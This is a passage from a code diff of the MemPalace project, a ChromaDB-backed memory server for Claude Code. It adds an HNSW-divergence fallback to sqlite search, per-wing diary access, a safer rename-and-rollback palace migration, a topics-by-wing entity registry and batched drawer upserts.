"""
candidates: list[tuple[str, str]] = []
current_type = {"people": "person", "projects": "project", "uncertain": "uncertain"}
for bucket in ("people", "projects", "uncertain"):
for e in detected.get(bucket, []):
if bucket == "people" and _is_authoritative_person(e):
continue
if bucket == "projects" and _is_authoritative_project(e):
continue
candidates.append((e["name"], current_type[bucket]))
corpus_lines = corpus_text.splitlines() if corpus_text else []
# Deduplicate candidate names while preserving order
seen: set[str] = set()
unique: list[tuple[str, str]] = []
for name, kind in candidates:
if name not in seen:
seen.add(name)
unique.append((name, kind))
if not unique:
return RefineResult(
merged=detected,
reclassified=0,
dropped=0,
errors=[],
batches_completed=0,
batches_total=0,
cancelled=False,
)
# Build batches
batches: list[list[tuple[str, str, list[str]]]] = []
for i in range(0, len(unique), batch_size):
chunk = unique[i : i + batch_size]
enriched = [(name, kind, _collect_contexts(corpus_lines, name)) for name, kind in chunk]
batches.append(enriched)
all_decisions: dict[str, tuple[str, str]] = {}
errors: list[str] = []
completed = 0
cancelled = False
system_prompt = SYSTEM_PROMPT + _build_corpus_origin_preamble(corpus_origin)
for idx, batch in enumerate(batches, 1):
if show_progress and batch:
_print_progress(idx - 1, len(batches), batch[0][0])
user_prompt = _build_user_prompt(batch)
try:
resp = provider.classify(system_prompt, user_prompt, json_mode=True)
except KeyboardInterrupt:
cancelled = True
break
except LLMError as e:
errors.append(f"batch {idx}: {e}")
continue
names_in_batch = [name for name, _, _ in batch]
decisions = _parse_response(resp.text, names_in_batch)
if not decisions:
errors.append(f"batch {idx}: could not parse response")
all_decisions.update(decisions)
completed += 1
if show_progress:
_print_progress(idx, len(batches), batch[-1][0])
if show_progress:
sys.stderr.write("\n")
sys.stderr.flush()
merged, reclassified, dropped = _apply_classifications(
detected,
all_decisions,
allow_project_promotions=allow_project_promotions,
)
return RefineResult(
merged=merged,
reclassified=reclassified,
dropped=dropped,
errors=errors,
batches_completed=completed,
batches_total=len(batches),
cancelled=cancelled,
)
def collect_corpus_text(
project_dir: str,
max_files: int = 30,
max_bytes_per_file: int = 20_000,
) -> str:
"""Gather prose text from ``project_dir`` for use as LLM context source.
Stratified: reads up to ``max_files`` prose files (``.md``, ``.txt``,
``.rst``), preferring recently-modified. Each file capped at
``max_bytes_per_file`` to bound total input.
"""
from pathlib import Path
from mempalace.entity_detector import PROSE_EXTENSIONS, SKIP_DIRS
root = Path(project_dir).expanduser().resolve()
if not root.is_dir():
return ""
candidates: list[tuple[float, Path]] = []
for dirpath, dirs, files in _walk_prose(root, SKIP_DIRS):
for fname in files:
p = dirpath / fname
if p.suffix.lower() not in PROSE_EXTENSIONS:
continue
try:
mtime = p.stat().st_mtime
except OSError:
continue
candidates.append((mtime, p))
candidates.sort(reverse=True)
selected = [p for _, p in candidates[:max_files]]
chunks: list[str] = []
for p in selected:
try:
with open(p, encoding="utf-8", errors="replace") as f:
chunks.append(f.read(max_bytes_per_file))
except OSError:
continue
return "\n".join(chunks)
def _walk_prose(root, skip_dirs):
"""Walk a directory yielding (Path, dirs, files), pruning skip_dirs.
Inlined from ``project_scanner._walk`` to avoid a private-name import
coupling. Functionality is intentionally narrow: prose collection only.
"""
import os
from pathlib import Path
for dirpath, dirs, files in os.walk(root):
dirs[:] = [d for d in dirs if d not in skip_dirs and not d.startswith(".")]
yield Path(dirpath), dirs, files
+260 -18
View File
@@ -2,7 +2,7 @@
"""
MemPalace MCP Server — read/write palace access for Claude Code
================================================================
Install: claude mcp add mempalace -- python -m mempalace.mcp_server [--palace /path/to/palace]
Install: claude mcp add mempalace -- mempalace-mcp [--palace /path/to/palace]
Tools (read):
mempalace_status — total drawers, wing/room breakdown
@@ -49,6 +49,7 @@ import hashlib # noqa: E402
import time # noqa: E402
from datetime import datetime # noqa: E402
from pathlib import Path # noqa: E402
from typing import Optional # noqa: E402
from .config import ( # noqa: E402
MempalaceConfig,
@@ -57,7 +58,15 @@ from .config import ( # noqa: E402
sanitize_content,
)
from .version import __version__ # noqa: E402
from .backends.chroma import ChromaBackend, ChromaCollection # noqa: E402
from chromadb.errors import NotFoundError as _ChromaNotFoundError # noqa: E402
from .backends.chroma import ( # noqa: E402
ChromaBackend,
ChromaCollection,
_HNSW_BLOAT_GUARD,
_pin_hnsw_threads,
hnsw_capacity_status,
)
from .query_sanitizer import sanitize_query # noqa: E402
from .searcher import search_memories # noqa: E402
from .palace_graph import ( # noqa: E402
@@ -108,6 +117,55 @@ _collection_cache = None
_palace_db_inode = 0 # inode of chroma.sqlite3 at cache time
_palace_db_mtime = 0.0 # mtime of chroma.sqlite3 at cache time
# ── Vector-search disabled flag (#1222) ──────────────────────────────────
# Set when ``hnsw_capacity_status`` reports a divergence between sqlite
# and the HNSW segment large enough that chromadb would segfault on
# segment load. While this is set, vector-shaped tools (``search``,
# ``check_duplicate``) route to the sqlite-only BM25 fallback in
# :func:`mempalace.searcher._bm25_only_via_sqlite`. Cleared after a
# successful repair via :func:`tool_reconnect` (which re-runs the probe).
_vector_disabled = False
_vector_disabled_reason = ""
# Optional[dict] (not ``dict | None``) keeps Python 3.9 import-time
# parsing happy — PEP 604 unions in annotations only became unconditional
# at module-eval time in 3.10.
_vector_capacity_status: Optional[dict] = None
def _refresh_vector_disabled_flag() -> None:
"""Re-run the HNSW capacity probe and update the module-level flag.
Called from :func:`_get_client` whenever the client cache is rebuilt
(first open or palace replacement). Cheap — pure sqlite + pickle
read, no chromadb interaction. Never raises: a probe that crashes
would defeat the point.
"""
global _vector_disabled, _vector_disabled_reason, _vector_capacity_status
try:
info = hnsw_capacity_status(_config.palace_path, "mempalace_drawers")
except Exception:
logger.debug("HNSW capacity probe raised", exc_info=True)
return
_vector_capacity_status = info
if info.get("diverged"):
if not _vector_disabled:
logger.warning(
"HNSW capacity divergence detected (%s) — routing search to "
"BM25-only sqlite fallback. Run `mempalace repair` to restore "
"vector search.",
info.get("message", "unknown"),
)
_vector_disabled = True
_vector_disabled_reason = info.get("message", "")
else:
if _vector_disabled:
logger.info(
"HNSW capacity within tolerance (%s) — vector search re-enabled",
info.get("message", ""),
)
_vector_disabled = False
_vector_disabled_reason = ""
# ==================== WRITE-AHEAD LOG ====================
# Every write operation is logged to a JSONL file before execution.
@@ -202,6 +260,11 @@ def _get_client():
mtime_changed = current_mtime != 0.0 and abs(current_mtime - _palace_db_mtime) > 0.01
if _client_cache is None or inode_changed or mtime_changed:
# Run the HNSW capacity probe BEFORE chromadb opens the segment —
# if the index is severely undersized, segment load can segfault
# the whole MCP server (#1222). The probe is pure sqlite +
# metadata-pickle read; never touches the HNSW binary files.
_refresh_vector_disabled_flag()
_client_cache = ChromaBackend.make_client(_config.palace_path)
_collection_cache = None
_metadata_cache = None
@@ -217,15 +280,37 @@ def _get_collection(create=False):
try:
client = _get_client()
if create:
_collection_cache = ChromaCollection(
client.get_or_create_collection(
_config.collection_name, metadata={"hnsw:space": "cosine"}
# hnsw:num_threads=1 disables ChromaDB's multi-threaded ParallelFor
# HNSW insert path, which has a race in repairConnectionsForUpdate /
# addPoint (see issues #974, #965). Set via metadata on fresh
# collections and re-applied via _pin_hnsw_threads() for legacy
# palaces whose collections were created before this fix (the
# runtime config does not persist cross-process in chromadb 1.5.x,
# so the retrofit runs every time _get_collection opens a cache).
#
# ChromaDB 1.5.x's Rust binding SIGSEGVs when get_or_create_collection
# is called with metadata that differs from what's stored. The split
# below skips the metadata-comparison codepath for existing
# collections, mirroring the backend-layer fix from #1262.
try:
raw = client.get_collection(_config.collection_name)
except _ChromaNotFoundError:
raw = client.create_collection(
_config.collection_name,
metadata={
"hnsw:space": "cosine",
"hnsw:num_threads": 1,
**_HNSW_BLOAT_GUARD,
},
)
)
_pin_hnsw_threads(raw)
_collection_cache = ChromaCollection(raw)
_metadata_cache = None
_metadata_cache_time = 0
elif _collection_cache is None:
_collection_cache = ChromaCollection(client.get_collection(_config.collection_name))
raw = client.get_collection(_config.collection_name)
_pin_hnsw_threads(raw)
_collection_cache = ChromaCollection(raw)
_metadata_cache = None
_metadata_cache_time = 0
return _collection_cache
@@ -285,7 +370,7 @@ def _get_cached_metadata(col, where=None):
def _sanitize_optional_name(value: str = None, field_name: str = "name") -> str:
"""Validate optional wing/room-style filters."""
if value is None:
if value is None or not value.strip():
return None
return sanitize_name(value, field_name)
@@ -293,11 +378,91 @@ def _sanitize_optional_name(value: str = None, field_name: str = "name") -> str:
# ==================== READ TOOLS ====================
def _tool_status_via_sqlite() -> dict:
"""Pure-sqlite status reader for the #1222 fallback path.
When the HNSW capacity probe detects divergence, opening the chromadb
persistent client can segfault. This reader pulls the same wing/room
breakdown directly from ``embedding_metadata`` so the operator still
gets a working status response — and crucially the
``vector_disabled`` flag — without us touching the vector segment.
"""
import sqlite3 as _sqlite3
db_path = os.path.join(_config.palace_path, "chroma.sqlite3")
if not os.path.isfile(db_path):
return _no_palace()
wings: dict = {}
rooms: dict = {}
total = 0
try:
conn = _sqlite3.connect(f"file:{db_path}?mode=ro", uri=True)
try:
row = conn.execute(
"""
SELECT COUNT(*)
FROM embeddings e
JOIN segments s ON e.segment_id = s.id
JOIN collections c ON s.collection = c.id
WHERE c.name = 'mempalace_drawers'
"""
).fetchone()
total = int(row[0]) if row and row[0] is not None else 0
for key, target in (("wing", wings), ("room", rooms)):
for value, count in conn.execute(
"""
SELECT em.string_value, COUNT(*)
FROM embedding_metadata em
JOIN embeddings e ON em.id = e.id
JOIN segments s ON e.segment_id = s.id
JOIN collections c ON s.collection = c.id
WHERE c.name = 'mempalace_drawers'
AND em.key = ?
AND em.string_value IS NOT NULL
GROUP BY em.string_value
""",
(key,),
):
target[value] = count
finally:
conn.close()
except _sqlite3.Error:
logger.exception("tool_status sqlite fallback read failed")
result = {
"total_drawers": total,
"wings": wings,
"rooms": rooms,
"palace_path": _config.palace_path,
"protocol": PALACE_PROTOCOL,
"aaak_dialect": AAAK_SPEC,
"vector_disabled": True,
"vector_disabled_reason": _vector_disabled_reason,
}
if _vector_capacity_status:
result["hnsw_capacity"] = {
"sqlite_count": _vector_capacity_status.get("sqlite_count"),
"hnsw_count": _vector_capacity_status.get("hnsw_count"),
"divergence": _vector_capacity_status.get("divergence"),
}
return result
def tool_status():
# Run the safe sqlite/pickle probe before we touch chromadb. In the
# #1222 failure mode, opening the persistent client to call .count()
# can segfault — short-circuit to a pure-sqlite path when divergence
# is detected so status stays reachable.
db_exists = os.path.isfile(os.path.join(_config.palace_path, "chroma.sqlite3"))
_refresh_vector_disabled_flag()
if _vector_disabled:
return _tool_status_via_sqlite()
# Use create=True only when a palace DB already exists on disk -- this
# bootstraps the ChromaDB collection on a valid-but-empty palace without
# accidentally creating a palace in a non-existent directory (#830).
db_exists = os.path.isfile(os.path.join(_config.palace_path, "chroma.sqlite3"))
col = _get_collection(create=db_exists)
if not col:
return _no_palace()
@@ -315,6 +480,7 @@ def tool_status():
try:
all_meta = _get_cached_metadata(col)
for m in all_meta:
m = m or {}
w = m.get("wing", "unknown")
r = m.get("room", "unknown")
wings[w] = wings.get(w, 0) + 1
@@ -368,6 +534,7 @@ def tool_list_wings():
try:
all_meta = _get_cached_metadata(col)
for m in all_meta:
m = m or {}
w = m.get("wing", "unknown")
wings[w] = wings.get(w, 0) + 1
except Exception as e:
@@ -391,6 +558,7 @@ def tool_list_rooms(wing: str = None):
where = {"wing": wing} if wing else None
all_meta = _fetch_all_metadata(col, where=where)
for m in all_meta:
m = m or {}
r = m.get("room", "unknown")
rooms[r] = rooms.get(r, 0) + 1
except Exception as e:
@@ -409,6 +577,7 @@ def tool_get_taxonomy():
try:
all_meta = _get_cached_metadata(col)
for m in all_meta:
m = m or {}
w = m.get("wing", "unknown")
r = m.get("room", "unknown")
if w not in taxonomy:
@@ -442,6 +611,11 @@ def tool_search(
dist = (1.0 - min_similarity) if min_similarity is not None else max_distance
# Mitigate system prompt contamination (Issue #333)
sanitized = sanitize_query(query)
# Ensure the vector-disabled probe has been run via the safe
# sqlite/pickle path before we touch chromadb. Calling _get_client()
# here would defeat the fallback — it constructs a PersistentClient
# which can segfault on segment load in the #1222 failure mode.
_refresh_vector_disabled_flag()
result = search_memories(
sanitized["clean_query"],
palace_path=_config.palace_path,
@@ -449,7 +623,11 @@ def tool_search(
room=room,
n_results=limit,
max_distance=dist,
vector_disabled=_vector_disabled,
)
if _vector_disabled:
result["vector_disabled"] = True
result["vector_disabled_reason"] = _vector_disabled_reason
# Attach sanitizer metadata for transparency
if sanitized["was_sanitized"]:
result["query_sanitized"] = True
@@ -465,6 +643,21 @@ def tool_search(
def tool_check_duplicate(content: str, threshold: float = 0.9):
_refresh_vector_disabled_flag()
if _vector_disabled:
# Without a usable HNSW we can't compute cosine similarity for
# near-duplicate detection. Report the limitation rather than
# silently returning "not a duplicate" — false negatives here
# would let the AI re-file content the palace already holds.
return {
"is_duplicate": False,
"matches": [],
"vector_disabled": True,
"vector_disabled_reason": _vector_disabled_reason,
"hint": (
"duplicate detection requires vector search; run `mempalace repair` to restore"
),
}
col = _get_collection()
if not col:
return _no_palace()
@@ -914,10 +1107,10 @@ def tool_kg_stats():
# ==================== AGENT DIARY ====================
def tool_diary_write(agent_name: str, entry: str, topic: str = "general"):
def tool_diary_write(agent_name: str, entry: str, topic: str = "general", wing: str = ""):
"""
Write a diary entry for this agent. Each agent gets its own wing
with a diary room. Entries are timestamped and accumulate over time.
Write a diary entry for this agent. Entries are timestamped and
accumulate over time in a diary room.
This is the agent's personal journal — observations, thoughts,
what it worked on, what it noticed, what it thinks matters.
@@ -925,10 +1118,14 @@ def tool_diary_write(agent_name: str, entry: str, topic: str = "general"):
try:
agent_name = sanitize_name(agent_name, "agent_name")
entry = sanitize_content(entry)
topic = sanitize_name(topic, "topic")
except ValueError as e:
return {"success": False, "error": str(e)}
wing = f"wing_{agent_name.lower().replace(' ', '_')}"
if wing:
wing = sanitize_name(wing)
else:
wing = f"wing_{agent_name.lower().replace(' ', '_')}"
room = "diary"
col = _get_collection(create=True)
if not col:
@@ -983,24 +1180,38 @@ def tool_diary_write(agent_name: str, entry: str, topic: str = "general"):
return {"success": False, "error": str(e)}
def tool_diary_read(agent_name: str, last_n: int = 10):
def tool_diary_read(agent_name: str, last_n: int = 10, wing: str = ""):
"""
Read an agent's recent diary entries. Returns the last N entries
in chronological order — the agent's personal journal.
When ``wing`` is provided, reads only from that wing. When ``wing``
is empty or omitted, returns entries from every wing this agent has
written to. Diary writes from hooks land in project-derived wings
(``wing_<project>``), so requiring a specific wing on read would
silo those entries from agent-initiated reads.
"""
try:
agent_name = sanitize_name(agent_name, "agent_name")
if wing:
wing = sanitize_name(wing)
except ValueError as e:
return {"error": str(e)}
last_n = max(1, min(last_n, 100))
wing = f"wing_{agent_name.lower().replace(' ', '_')}"
col = _get_collection()
if not col:
return _no_palace()
# Build filter: always scope by agent + room=diary. Wing is optional —
# when empty, return entries across all wings for this agent (matches
# the #1097 empty-string-as-no-filter convention for LLM ergonomics).
conditions = [{"room": "diary"}, {"agent": agent_name}]
if wing:
conditions.insert(0, {"wing": wing})
try:
results = col.get(
where={"$and": [{"wing": wing}, {"room": "diary"}]},
where={"$and": conditions},
include=["documents", "metadatas"],
limit=10000,
)
@@ -1118,10 +1329,22 @@ def tool_reconnect():
Use after external scripts or CLI commands modify the palace database
directly, which can leave the in-memory HNSW index stale.
"""
global _collection_cache, _palace_db_inode, _palace_db_mtime
global \
_client_cache, \
_collection_cache, \
_palace_db_inode, \
_palace_db_mtime, \
_vector_disabled, \
_vector_disabled_reason
_client_cache = None
_collection_cache = None
_palace_db_inode = 0
_palace_db_mtime = 0.0
# Force probe re-run on next _get_client by clearing the flag now;
# _refresh_vector_disabled_flag will re-set it if the divergence
# still applies after the reconnect.
_vector_disabled = False
_vector_disabled_reason = ""
try:
col = _get_collection()
if col is None:
@@ -1129,8 +1352,15 @@ def tool_reconnect():
"success": False,
"message": "No palace found after reconnect",
"drawers": 0,
"vector_disabled": _vector_disabled,
}
return {"success": True, "message": "Reconnected to palace", "drawers": col.count()}
return {
"success": True,
"message": "Reconnected to palace",
"drawers": col.count(),
"vector_disabled": _vector_disabled,
"vector_disabled_reason": _vector_disabled_reason,
}
except Exception as e:
return {"success": False, "error": str(e)}
@@ -1493,6 +1723,10 @@ TOOLS = {
"type": "string",
"description": "Topic tag (optional, default: general)",
},
"wing": {
"type": "string",
"description": "Target wing for this diary entry (optional). If omitted, uses wing_{agent_name}. Use this to write diary entries to a project wing instead of an agent-specific wing.",
},
},
"required": ["agent_name", "entry"],
},
@@ -1511,6 +1745,10 @@ TOOLS = {
"type": "integer",
"description": "Number of recent entries to read (default: 10)",
},
"wing": {
"type": "string",
"description": "Wing to read diary entries from (optional). If omitted, reads from wing_{agent_name}.",
},
},
"required": ["agent_name"],
},
@@ -1686,6 +1924,10 @@ def _restore_stdout():
def main():
_restore_stdout()
logger.info("MemPalace MCP Server starting...")
# Pre-flight: probe HNSW capacity before any tool call so the warning
# is visible at startup rather than on first use (#1222). Pure
# filesystem read; never opens a chromadb client.
_refresh_vector_disabled_flag()
while True:
try:
line = sys.stdin.readline()
+45 -5
View File
@@ -7,8 +7,10 @@ Reads documents and metadata directly from the palace's SQLite database
then re-imports everything into a fresh palace using the currently installed
ChromaDB version.
This fixes the 3.0.0 → 3.1.0 upgrade path where chromadb was downgraded
from 1.5.x to 0.6.x, breaking the on-disk storage format.
Since mempalace 3.2.0 (chromadb>=1.5.4), chromadb automatically migrates
0.4.1+ databases on first open — no manual migration needed for upgrades.
Use this command only when downgrading chromadb (e.g. rolling back to an
older mempalace release) or if automatic migration fails.
Usage:
mempalace migrate # migrate default palace
@@ -16,6 +18,7 @@ Usage:
mempalace migrate --dry-run # show what would be migrated
"""
import errno
import os
import shutil
import sqlite3
@@ -23,6 +26,26 @@ from collections import defaultdict
from datetime import datetime
def _restore_stale_palace(palace_path: str, stale_path: str) -> None:
"""Roll back a failed swap.
shutil.move() can partially create palace_path before raising, which
would make a bare os.replace(stale_path, palace_path) fail (dest exists).
Clear any partial destination first, then restore. Best-effort: if the
restore itself fails, log both paths so the operator can recover by hand.
"""
try:
if os.path.lexists(palace_path):
shutil.rmtree(palace_path, ignore_errors=True)
os.replace(stale_path, palace_path)
except Exception as err:
print(
f" CRITICAL: rollback failed — original palace at {stale_path}, "
f"partial migration data at {palace_path}. Restore manually. "
f"({err})"
)
def extract_drawers_from_sqlite(db_path: str) -> list:
"""Read all drawers directly from ChromaDB's SQLite, bypassing the API.
@@ -229,10 +252,27 @@ def migrate(palace_path: str, dry_run: bool = False, confirm: bool = False):
del col
del fresh_backend
# Swap: remove old palace, move new one into place
# Swap: rename old palace aside, then move new one into place.
# This avoids a window where both old and new are missing.
print(" Swapping old palace for migrated version...")
shutil.rmtree(palace_path)
shutil.move(temp_palace, palace_path)
stale_path = palace_path + ".old"
if os.path.exists(stale_path):
shutil.rmtree(stale_path)
os.replace(palace_path, stale_path)
try:
os.replace(temp_palace, palace_path)
except OSError as e:
# EXDEV = temp lives on a different filesystem; fall back to copy+delete.
# Anything else is a real error — don't mask it with shutil.move.
if getattr(e, "errno", None) != errno.EXDEV:
_restore_stale_palace(palace_path, stale_path)
raise
try:
shutil.move(temp_palace, palace_path)
except Exception:
_restore_stale_palace(palace_path, stale_path)
raise
shutil.rmtree(stale_path, ignore_errors=True)
print("\n Migration complete.")
print(f" Drawers migrated: {final_count}")
+492 -87
View File
@@ -9,20 +9,24 @@ Stores verbatim chunks as drawers. No summaries. Ever.
import os
import sys
import shlex
import hashlib
import fnmatch
from pathlib import Path
from datetime import datetime
from collections import defaultdict
from typing import Optional
from .palace import (
NORMALIZE_VERSION,
SKIP_DIRS,
MineAlreadyRunning,
build_closet_lines,
file_already_mined,
get_closets_collection,
get_collection,
mine_lock,
mine_palace_lock,
purge_file_closets,
upsert_closet_lines,
)
@@ -36,6 +40,7 @@ READABLE_EXTENSIONS = {
".jsx",
".tsx",
".json",
".jsonl",
".yaml",
".yml",
".html",
@@ -51,6 +56,7 @@ READABLE_EXTENSIONS = {
}
SKIP_FILENAMES = {
"entities.json",
"mempalace.yaml",
"mempalace.yml",
"mempal.yaml",
@@ -62,7 +68,15 @@ SKIP_FILENAMES = {
CHUNK_SIZE = 800 # chars per drawer
CHUNK_OVERLAP = 100 # overlap between chunks
MIN_CHUNK_SIZE = 50 # skip tiny chunks
MAX_FILE_SIZE = 10 * 1024 * 1024 # 10 MB — skip files larger than this
DRAWER_UPSERT_BATCH_SIZE = 1000
MAX_FILE_SIZE = 500 * 1024 * 1024 # 500 MB — skip files larger than this.
# Long Claude Code sessions and large transcript exports routinely exceed
# 10 MB. The cap exists as a defensive rail against pathological binary
# files, not as a limit on legitimate text. Per-drawer size is bounded
# by CHUNK_SIZE, but larger sources still produce proportionally more
# drawers and therefore more storage, embedding, and processing work —
# and file reads are not streamed (the whole content is loaded into
# memory before chunking), so memory use scales with source size too.
# =============================================================================
@@ -272,7 +286,15 @@ def load_config(project_dir: str) -> dict:
if legacy_path.exists():
config_path = legacy_path
else:
wing_name = resolved_project_dir.name
from .config import normalize_wing_name
# Normalize the dirname-derived fallback wing the same way
# ``cmd_init`` and ``room_detector_local`` do — otherwise a
# hyphenated project mined without a yaml file lands under a
# raw-name wing while ``topics_by_wing`` was keyed under the
# normalized slug, silently dropping every topic tunnel
# (the no-yaml branch of issue #1194).
wing_name = normalize_wing_name(resolved_project_dir.name)
print(
f" No mempalace.yaml found in {resolved_project_dir} "
f"— using auto-detected defaults (wing='{wing_name}'). "
@@ -428,7 +450,16 @@ def _refresh_known_entities_cache() -> None:
data = json.load(f)
if isinstance(data, dict):
raw = data
for cat in data.values():
for cat_key, cat in data.items():
# Special wing-keyed map — its inner values are topic
# names but its outer keys are wings, which must NOT be
# surfaced as known entities. Pull the topic names out
# explicitly instead of treating it as a generic category.
if cat_key == "topics_by_wing" and isinstance(cat, dict):
for topic_list in cat.values():
if isinstance(topic_list, list):
names.update(str(n) for n in topic_list if n)
continue
if isinstance(cat, list):
names.update(str(n) for n in cat if n)
elif isinstance(cat, dict):
@@ -463,6 +494,172 @@ def _load_known_entities_raw() -> dict:
return dict(_ENTITY_REGISTRY_CACHE["raw"])
def _set_wing_topics(existing: dict, wing_key: str, topics_for_wing: list, coerce) -> None:
"""Update ``existing['topics_by_wing'][wing_key]`` to the deduped list.
Replaces (does not union) the wing's topic list — re-running ``init``
should reflect the user's latest confirmation rather than accumulate
stale labels. Empty input drops the wing entry; an empty map drops
the ``topics_by_wing`` key entirely.
"""
topics_map = existing.get("topics_by_wing")
if not isinstance(topics_map, dict):
topics_map = {}
seen_lower: set = set()
ordered: list = []
for n in topics_for_wing:
name = coerce(n)
if not name:
continue
key = name.lower()
if key in seen_lower:
continue
seen_lower.add(key)
ordered.append(name)
if ordered:
topics_map[wing_key] = ordered
else:
topics_map.pop(wing_key, None)
if topics_map:
existing["topics_by_wing"] = topics_map
else:
existing.pop("topics_by_wing", None)
def add_to_known_entities(entities_by_category: dict, wing: str = None) -> str:
"""Union ``entities_by_category`` into ``~/.mempalace/known_entities.json``.
Accepts ``{category: [names]}`` shape as produced by ``mempalace init``
and merges into the registry the miner reads at mine time. Existing
categories are preserved untouched unless also present in the input;
for categories present in both, entries are unioned case-insensitively
without changing the on-disk ordering of pre-existing names.
If a category is stored on-disk as ``{name: code}`` (the alternate
miner-supported shape, used by dialect-style configs), new names are
added as keys with ``None`` values so existing code mappings aren't
overwritten. A later compress pass can assign codes.
When ``wing`` is provided AND ``entities_by_category`` contains a
``topics`` list, those topics are also recorded under
``topics_by_wing[wing]`` (case-insensitive dedup, preserving the
casing of the first observed name). This is the signal source for
``palace_graph.compute_topic_tunnels`` at mine time. Topics for a
wing are *replaced*, not unioned, so a re-run of ``init`` reflects
the user's latest confirmation rather than accumulating stale labels
indefinitely.
The in-process cache is invalidated on write so same-process callers
(notably ``cmd_init`` → ``cmd_mine`` in sequence) see the update
immediately instead of waiting for a mtime re-check.
Returns the registry path as a string for logging.
"""
import json as _json
from pathlib import Path as _Path
registry_path = _Path(_ENTITY_REGISTRY_PATH)
registry_path.parent.mkdir(parents=True, exist_ok=True)
existing: dict = {}
if registry_path.exists():
try:
loaded = _json.loads(registry_path.read_text(encoding="utf-8"))
if isinstance(loaded, dict):
existing = loaded
except (_json.JSONDecodeError, OSError):
existing = {}
def _coerce_name(value):
if not value:
return None
name = str(value)
return name if name else None
# Separate the topics_by_wing key from regular categories so we don't
# treat it as a flat name-list elsewhere in this function.
topics_for_wing = None
if wing and isinstance(wing, str) and wing.strip():
topics_for_wing = entities_by_category.get("topics") or []
for category, names in entities_by_category.items():
if category == "topics_by_wing":
# Reserved key — managed separately below.
continue
if not isinstance(names, list) or not names:
continue
current = existing.get(category)
if isinstance(current, list):
seen_lower = {str(n).lower() for n in current}
for n in names:
name = _coerce_name(n)
if not name:
continue
if name.lower() not in seen_lower:
current.append(name)
seen_lower.add(name.lower())
elif isinstance(current, dict):
seen_lower = {str(name).lower() for name in current}
for n in names:
name = _coerce_name(n)
if not name or name.lower() in seen_lower:
continue
current[name] = None
seen_lower.add(name.lower())
else:
# Missing or unrecognized shape — seed as a fresh list, deduped
seen: set = set()
ordered: list = []
for n in names:
name = _coerce_name(n)
if not name:
continue
key = name.lower()
if key in seen:
continue
seen.add(key)
ordered.append(name)
existing[category] = ordered
if topics_for_wing is not None:
_set_wing_topics(existing, wing.strip(), topics_for_wing, _coerce_name)
registry_path.write_text(_json.dumps(existing, indent=2, ensure_ascii=False), encoding="utf-8")
try:
registry_path.chmod(0o600)
except (OSError, NotImplementedError):
pass
# Invalidate in-process cache so later calls in the same run see the write.
_ENTITY_REGISTRY_CACHE["mtime"] = None
_ENTITY_REGISTRY_CACHE["names"] = frozenset()
_ENTITY_REGISTRY_CACHE["raw"] = {}
return str(registry_path)
def get_topics_by_wing() -> dict:
"""Return ``topics_by_wing`` from the global registry as a dict.
Returns ``{}`` if the registry is missing, malformed, or has no
``topics_by_wing`` key. Casing is preserved from disk; callers that
need case-insensitive comparison should normalize themselves.
"""
raw = _load_known_entities_raw()
topics_map = raw.get("topics_by_wing")
if not isinstance(topics_map, dict):
return {}
out: dict = {}
for wing, topics in topics_map.items():
if not isinstance(wing, str) or not wing.strip():
continue
if isinstance(topics, list):
cleaned = [str(t) for t in topics if isinstance(t, str) and t.strip()]
if cleaned:
out[wing.strip()] = cleaned
return out
_HALL_KEYWORDS_CACHE = None
@@ -533,40 +730,62 @@ def _extract_entities_for_metadata(content: str) -> str:
return ";".join(capped)
def _build_drawer_metadata(
wing: str,
room: str,
source_file: str,
chunk_index: int,
agent: str,
content: str,
source_mtime: Optional[float],
) -> dict:
"""Build the metadata dict for one drawer without upserting.
Split out from ``add_drawer`` so ``process_file`` can batch all chunks
of a file into a single ``collection.upsert`` — one embedding forward
pass per batch instead of per chunk.
"""
metadata = {
"wing": wing,
"room": room,
"source_file": source_file,
"chunk_index": chunk_index,
"added_by": agent,
"filed_at": datetime.now().isoformat(),
"normalize_version": NORMALIZE_VERSION,
}
if source_mtime is not None:
metadata["source_mtime"] = source_mtime
metadata["hall"] = detect_hall(content)
entities = _extract_entities_for_metadata(content)
if entities:
metadata["entities"] = entities
return metadata
def add_drawer(
collection, wing: str, room: str, content: str, source_file: str, chunk_index: int, agent: str
):
"""Add one drawer to the palace."""
"""Add one drawer to the palace.
Kept for backward compatibility with external callers. In-tree the
miner uses ``_build_drawer_metadata`` + a batched ``collection.upsert``
to amortize the embedding model's forward-pass cost across chunks.
"""
drawer_id = f"drawer_{wing}_{room}_{hashlib.sha256((source_file + str(chunk_index)).encode()).hexdigest()[:24]}"
try:
metadata = {
"wing": wing,
"room": room,
"source_file": source_file,
"chunk_index": chunk_index,
"added_by": agent,
"filed_at": datetime.now().isoformat(),
"normalize_version": NORMALIZE_VERSION,
}
# Store file mtime so we can detect modifications later.
try:
metadata["source_mtime"] = os.path.getmtime(source_file)
except OSError:
pass
# Tag with hall for graph connectivity within wings
metadata["hall"] = detect_hall(content)
# Tag with entity names for filterable search
entities = _extract_entities_for_metadata(content)
if entities:
metadata["entities"] = entities
collection.upsert(
documents=[content],
ids=[drawer_id],
metadatas=[metadata],
)
return True
except Exception:
raise
source_mtime = os.path.getmtime(source_file)
except OSError:
source_mtime = None
metadata = _build_drawer_metadata(
wing, room, source_file, chunk_index, agent, content, source_mtime
)
collection.upsert(
documents=[content],
ids=[drawer_id],
metadatas=[metadata],
)
return True
# =============================================================================
@@ -604,7 +823,7 @@ def process_file(
chunks = chunk_text(content, source_file)
if dry_run:
print(f" [DRY RUN] {filepath.name} → room:{room} ({len(chunks)} drawers)")
print(f" [DRY RUN] {filepath.name} -> room:{room} ({len(chunks)} drawers)")
return len(chunks), room
# Lock this file so concurrent agents don't interleave delete+insert.
@@ -625,19 +844,41 @@ def process_file(
except Exception:
pass
# Batch chunks into bounded upserts so the embedding model sees many
# chunks per forward pass without building one huge Chroma/SQLite
# request for pathological files. A bad chunk can fail its sub-batch;
# that is the deliberate trade-off for amortizing embedding overhead.
try:
source_mtime = os.path.getmtime(source_file)
except OSError:
source_mtime = None
drawers_added = 0
for chunk in chunks:
added = add_drawer(
collection=collection,
wing=wing,
room=room,
content=chunk["content"],
source_file=source_file,
chunk_index=chunk["chunk_index"],
agent=agent,
for batch_start in range(0, len(chunks), DRAWER_UPSERT_BATCH_SIZE):
batch_docs: list = []
batch_ids: list = []
batch_metas: list = []
for chunk in chunks[batch_start : batch_start + DRAWER_UPSERT_BATCH_SIZE]:
drawer_id = f"drawer_{wing}_{room}_{hashlib.sha256((source_file + str(chunk['chunk_index'])).encode()).hexdigest()[:24]}"
batch_docs.append(chunk["content"])
batch_ids.append(drawer_id)
batch_metas.append(
_build_drawer_metadata(
wing,
room,
source_file,
